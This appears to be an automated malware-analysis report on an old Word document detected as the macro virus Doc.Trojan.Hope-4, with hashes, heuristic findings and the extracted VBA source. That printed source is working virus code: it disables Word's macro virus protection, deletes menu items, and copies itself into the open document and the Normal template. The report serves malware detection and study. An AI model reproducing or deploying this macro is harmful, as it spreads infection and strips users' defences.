Office (OLE) malware analysis — malicious · 08f66daf503c0633

MALICIOUS

Office (OLE)

48.5 KB Created: 2000-11-22 19:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: b4d77938036c8f851d11447203922891 SHA-1: f617ec66c069018cadfe1c6b4d5a71a06970942e SHA-256: 08f66daf503c0633f686ccb2711c4083fe1177298b4c4cb41bf4d6320eb4257e

196 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including AutoClose and Document_Open, which are commonly used to execute malicious code. ClamAV detections confirm its classification as malware. The presence of these macros suggests an attempt to execute arbitrary code upon document interaction.

Heuristics 5

ClamAV: Doc.Trojan.Hope-4 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Hope-4
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open(): Document_Close: End Sub
```
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
Sub AutoClose()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9357 bytes
SHA-256: `487618e859a88349fb853a4525391e6b6909b8097c08bbd5d245d5bbcabc0038`
Detection ClamAV: Doc.Trojan.Hope-4 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub AutoClose() 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc For x = 1 To 4 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:52HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc Sub ToolsMacro() 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc 'Adams14/02/00 19:08:53HP DeskJet 880C Series Printer on LPT1:Linden D & D Flyer Jun00[1] 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc Private Sub Document_Open(): Document_Close: End Sub 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc Private Sub Document_Close(): On Error Resume Next 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2) 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc Set CM = MacroContainer.VBProject.VBComponents.Item(1).codemodule 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc Set ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc Set nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule 'Authorised User28/02/2000 17:08:31HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc MC = CM.Lines(1, CM.CountOfLines) 'Authorised User28/02/2000 17:08:32HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc ad.deletelines 1, ad.CountOfLines: ad.AddFromString MC 'Authorised User28/02/2000 17:08:32HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc nt.deletelines 1, nt.CountOfLines: nt.AddFromString MC 'Authorised User28/02/2000 17:08:32HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc ActiveDocument.SaveAs FileName:=ActiveDocument.FullName 'Authorised User28/02/2000 17:08:32HP DeskJet 660C on LPT1:Linden D & D Flyer Jun00[1].doc End Sub 'NoHope~By~Lys~KovicK Lyrics From Smothered Hope(Skinny Puppy)

Open this report in the interactive analyzer, or submit your own file for analysis.